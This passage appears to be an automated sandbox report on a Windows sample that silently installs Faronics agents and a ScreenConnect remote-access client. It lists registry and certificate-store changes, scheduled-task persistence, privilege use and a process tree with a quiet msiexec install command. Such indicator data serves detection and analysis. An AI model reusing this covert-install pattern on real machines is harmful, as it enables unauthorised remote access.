"1.31.8110.282" MsiExec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2D882342-CF25-4348-BB93-BC4EB35BA935}\TypeLib MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56202AAE-43F1-4D90-9B35-DF7C93B4FFE5}\ProgID MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.USC.Adapter.1\ = "UsageStats Adapter" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D102109-6C28-4BF9-BD44-AC24D73BBF61}\InprocServer32 MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D102109-6C28-4BF9-BD44-AC24D73BBF61}\InprocServer32\ = "C:\\Program Files (x86)\\Faronics\\Imaging\\IMGAdapter.dll" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B5F3487F-FA79-496E-A7FB-48915DA73816}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{83FAD298-BEB5-44BE-9756-5CDB2D2304CC}\InprocServer32\ThreadingModel = "Both" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.SUC.Adapter\ = "SUAdapter Class" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.SUC.Adapter\CurVer MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\Status ModulesUpgradeMgr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF9BF1598B01E9EF5525FDD13310F5B9\ProductIcon = "C:\\Windows\\Installer\\{951FB9FE-10B8-FE9E-5552-DF1D33015F9B}\\DefaultIcon" msiexec.exe Key created \REGISTRY\MACHINE\Software\classes\WOW6432Node\CLSID\{83FAD298-BEB5-44BE-9756-5CDB2D2304CC} msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA220945-0674-4494-B122-93EF5A4A6345} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA220945-0674-4494-B122-93EF5A4A6345}\VersionIndependentProgID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA220945-0674-4494-B122-93EF5A4A6345}\InprocServer32\ThreadingModel = "Both" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{910069A3-E03A-4b4a-BFA6-4D0E48D3FBF6} MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{CA871D7C-F576-4123-BAA8-D5E90935031A}\TypeLib\ = "{0E1F256E-F7EB-4D7F-BD57-8EAA85B1B174}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\FAR.IMG.Adapter.1\CLSID\ = "{9D102109-6C28-4BF9-BD44-AC24D73BBF61}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\WID arlingtonchamber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\StorageSpaces.FaronicsStorageSpace\ = "FaronicsStorageSpace Class" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\SourceList\PackageName = "Cloud Agent_C64.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D102109-6C28-4BF9-BD44-AC24D73BBF61}\Programmable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9D102109-6C28-4BF9-BD44-AC24D73BBF61}\Version MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-ff55c805740d9225\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (ff55c805740d9225)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF9BF1598B01E9EF5525FDD13310F5B9\PackageCode = "EF9BF1598B01E9EF5525FDD13310F5B9" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\Version arlingtonchamber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\StorageSpaces.FaronicsStorageSpace\CurVer\ = "StorageSpaces.FaronicsStorageSpace.1" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{359C24F1-51B5-44CE-8F2D-2FBB1A0FE4EA}\FWA_GUI_Agent\MobileSupportEnabled = "true" ModulesUpgradeMgr.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C4B623D0201196C4286637327C104BC5\SourceList\Media\1 = "DISK1;1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D7E01AEEFC7C34740B20005CFC9D1575\PackageCode = "816708AC3A0E68744BAB16CA59E175F3" msiexec.exe - Modifies system certificate store 2 TTPs 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 FWAService.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e FWAService.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e FWAService.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e FWAService.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e FWAService.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3424 schtasks.exe 4576 schtasks.exe - Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 4792 msiexec.exe 4792 msiexec.exe 4312 FTAgentTmp.exe 4312 FTAgentTmp.exe 4792 msiexec.exe 4792 msiexec.exe 4792 msiexec.exe 4792 msiexec.exe 4792 msiexec.exe 4792 msiexec.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe 1304 PowerShell.exe 1304 PowerShell.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 1912 HideUL_x64.exe 888 ScreenConnect.ClientService.exe 888 ScreenConnect.ClientService.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1912 HideUL_x64.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4644 Msiexec.exe Token: SeIncreaseQuotaPrivilege 4644 Msiexec.exe Token: SeSecurityPrivilege 4792 msiexec.exe Token: SeCreateTokenPrivilege 4644 Msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4644 Msiexec.exe Token: SeLockMemoryPrivilege 4644 Msiexec.exe Token: SeIncreaseQuotaPrivilege 4644 Msiexec.exe Token: SeMachineAccountPrivilege 4644 Msiexec.exe Token: SeTcbPrivilege 4644 Msiexec.exe Token: SeSecurityPrivilege 4644 Msiexec.exe Token: SeTakeOwnershipPrivilege 4644 Msiexec.exe Token: SeLoadDriverPrivilege 4644 Msiexec.exe Token: SeSystemProfilePrivilege 4644 Msiexec.exe Token: SeSystemtimePrivilege 4644 Msiexec.exe Token: SeProfSingleProcessPrivilege 4644 Msiexec.exe Token: SeIncBasePriorityPrivilege 4644 Msiexec.exe Token: SeCreatePagefilePrivilege 4644 Msiexec.exe Token: SeCreatePermanentPrivilege 4644 Msiexec.exe Token: SeBackupPrivilege 4644 Msiexec.exe Token: SeRestorePrivilege 4644 Msiexec.exe Token: SeShutdownPrivilege 4644 Msiexec.exe Token: SeDebugPrivilege 4644 Msiexec.exe Token: SeAuditPrivilege 4644 Msiexec.exe Token: SeSystemEnvironmentPrivilege 4644 Msiexec.exe Token: SeChangeNotifyPrivilege 4644 Msiexec.exe Token: SeRemoteShutdownPrivilege 4644 Msiexec.exe Token: SeUndockPrivilege 4644 Msiexec.exe Token: SeSyncAgentPrivilege 4644 Msiexec.exe Token: SeEnableDelegationPrivilege 4644 Msiexec.exe Token: SeManageVolumePrivilege 4644 Msiexec.exe Token: SeImpersonatePrivilege 4644 Msiexec.exe Token: SeCreateGlobalPrivilege 4644 Msiexec.exe Token: SeRestorePrivilege 4792 msiexec.exe Token: SeTakeOwnershipPrivilege 4792 msiexec.exe Token: SeRestorePrivilege 4792 msiexec.exe Token: SeTakeOwnershipPrivilege 4792 msiexec.exe Token: SeRestorePrivilege 4792 msiexec.exe Token: SeTakeOwnershipPrivilege 4792 msiexec.exe Token: SeRestorePrivilege 4792 msiexec.exe Token: SeTakeOwnershipPrivilege 4792 msiexec.exe Token: SeRestorePrivilege 4792 msiexec.exe Token: SeTakeOwnershipPrivilege 4792 msiexec.exe Token: SeIncreaseQuotaPrivilege 404 MsiExec.exe Token: SeSecurityPrivilege 404 MsiExec.exe Token: SeTakeOwnershipPrivilege 404 MsiExec.exe Token: SeLoadDriverPrivilege 404 MsiExec.exe Token: SeSystemProfilePrivilege 404 MsiExec.exe Token: SeSystemtimePrivilege 404 MsiExec.exe Token: SeProfSingleProcessPrivilege 404 MsiExec.exe Token: SeIncBasePriorityPrivilege 404 MsiExec.exe Token: SeCreatePagefilePrivilege 404 MsiExec.exe Token: SeBackupPrivilege 404 MsiExec.exe Token: SeRestorePrivilege 404 MsiExec.exe Token: SeShutdownPrivilege 404 MsiExec.exe Token: SeDebugPrivilege 404 MsiExec.exe Token: SeSystemEnvironmentPrivilege 404 MsiExec.exe Token: SeRemoteShutdownPrivilege 404 MsiExec.exe Token: SeUndockPrivilege 404 MsiExec.exe Token: SeManageVolumePrivilege 404 MsiExec.exe Token: 33 404 MsiExec.exe Token: 34 404 MsiExec.exe Token: 35 404 MsiExec.exe Token: 36 404 MsiExec.exe Token: SeRestorePrivilege 4792 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1504 ScreenConnect.WindowsFileManager.exe 1504 ScreenConnect.WindowsFileManager.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1796 FWAInstallMonitor.exe 4976 ScreenConnect.WindowsBackstageShell.exe 1504 ScreenConnect.WindowsFileManager.exe 1504 ScreenConnect.WindowsFileManager.exe 1504 ScreenConnect.WindowsFileManager.exe - Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 4480 wrote to memory of 4644 4480 arlingtonchamber.exe 85 PID 4792 wrote to memory of 404 4792 msiexec.exe 88 PID 404 wrote to memory of 2220 404 MsiExec.exe 92 PID 1876 wrote to memory of 2396 1876 arlingtonchamber.exe 97 PID 404 wrote to memory of 1796 404 MsiExec.exe 101 PID 4792 wrote to memory of 4608 4792 msiexec.exe 103 PID 4608 wrote to memory of 1212 4608 MsiExec.exe 104 PID 4608 wrote to memory of 2780 4608 MsiExec.exe 106 PID 4608 wrote to memory of 4080 4608 MsiExec.exe 108 PID 4608 wrote to memory of 3316 4608 MsiExec.exe 110 PID 4608 wrote to memory of 972 4608 MsiExec.exe 111 PID 4608 wrote to memory of 2272 4608 MsiExec.exe 113 PID 4792 wrote to memory of 828 4792 msiexec.exe 117 PID 828 wrote to memory of 2268 828 ModulesUpgradeMgr.exe 119 PID 2268 wrote to memory of 4332 2268 SUDLLUpdaterPatch.exe 121 PID 4792 wrote to memory of 4312 4792 msiexec.exe 123 PID 4312 wrote to memory of 3840 4312 FTAgentTmp.exe 126 PID 1804 wrote to memory of 2324 1804 FWAService.exe 128 PID 4608 wrote to memory of 3424 4608 MsiExec.exe 130 PID 1796 wrote to memory of 1712 1796 FWAInstallMonitor.exe 132 PID 1712 wrote to memory of 1516 1712 cmd.exe 134 PID 1712 wrote to memory of 4576 1712 cmd.exe 136 PID 4480 wrote to memory of 808 4480 arlingtonchamber.exe 140 PID 4792 wrote to memory of 2480 4792 msiexec.exe 141 PID 4792 wrote to memory of 2344 4792 msiexec.exe 142 PID 4792 wrote to memory of 4552 4792 msiexec.exe 143 PID 4552 wrote to memory of 1036 4552 MsiExec.exe 144 PID 4552 wrote to memory of 3156 4552 MsiExec.exe 145 PID 4792 wrote to memory of 760 4792 msiexec.exe 146 PID 1804 wrote to memory of 360 1804 FWAService.exe 150 PID 1796 wrote to memory of 3944 1796 FWAInstallMonitor.exe 151 PID 3944 wrote to memory of 3032 3944 cmd.exe 153 PID 1796 wrote to memory of 2008 1796 FWAInstallMonitor.exe 154 PID 2008 wrote to memory of 3216 2008 cmd.exe 156 PID 4792 wrote to memory of 5084 4792 msiexec.exe 160 PID 4480 wrote to memory of 3464 4480 arlingtonchamber.exe 161 PID 4792 wrote to memory of 3292 4792 msiexec.exe 162 PID 4792 wrote to memory of 3736 4792 msiexec.exe 163 PID 4792 wrote to memory of 2984 4792 msiexec.exe 164 PID 2984 wrote to memory of 1556 2984 MsiExec.exe 165 PID 2984 wrote to memory of 560 2984 MsiExec.exe 166 PID 4480 wrote to memory of 3424 4480 arlingtonchamber.exe 170 PID 4792 wrote to memory of 4452 4792 msiexec.exe 171 PID 4792 wrote to memory of 2444 4792 msiexec.exe 172 PID 4792 wrote to memory of 2776 4792 msiexec.exe 173 PID 1804 wrote to memory of 4364 1804 FWAService.exe 177 PID 4364 wrote to memory of 4944 4364 scriptrunner.exe 179 PID 4944 wrote to memory of 3432 4944 ScreenConnect.ClientSetup.exe 180 PID 4792 wrote to memory of 60 4792 msiexec.exe 181 PID 60 wrote to memory of 4752 60 MsiExec.exe 182 PID 888 wrote to memory of 3964 888 ScreenConnect.ClientService.exe 184 PID 888 wrote to memory of 4948 888 ScreenConnect.ClientService.exe 185 PID 888 wrote to memory of 1192 888 ScreenConnect.ClientService.exe 188 PID 888 wrote to memory of 4360 888 ScreenConnect.ClientService.exe 189 PID 888 wrote to memory of 4976 888 ScreenConnect.ClientService.exe 190 PID 888 wrote to memory of 1244 888 ScreenConnect.ClientService.exe 191 PID 4976 wrote to memory of 1304 4976 ScreenConnect.WindowsBackstageShell.exe 192 PID 4976 wrote to memory of 1504 4976 ScreenConnect.WindowsBackstageShell.exe 194 PID 1504 wrote to memory of 2932 1504 ScreenConnect.WindowsFileManager.exe 197 PID 2932 wrote to memory of 1912 2932 HideUL.exe 198 PID 888 wrote to memory of 1520 888 ScreenConnect.ClientService.exe 204
Processes
-
C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe"C:\Users\Admin\AppData\Local\Temp\arlingtonchamber.exe"1⤵
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\SysWOW64\Msiexec.exeMsiexec /i "C:\Users\Admin\AppData\Local\Temp\ProductInstaller\Cloud Agent_C64.msi" /q REBOOT="ReallySuppress"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4644
-
-
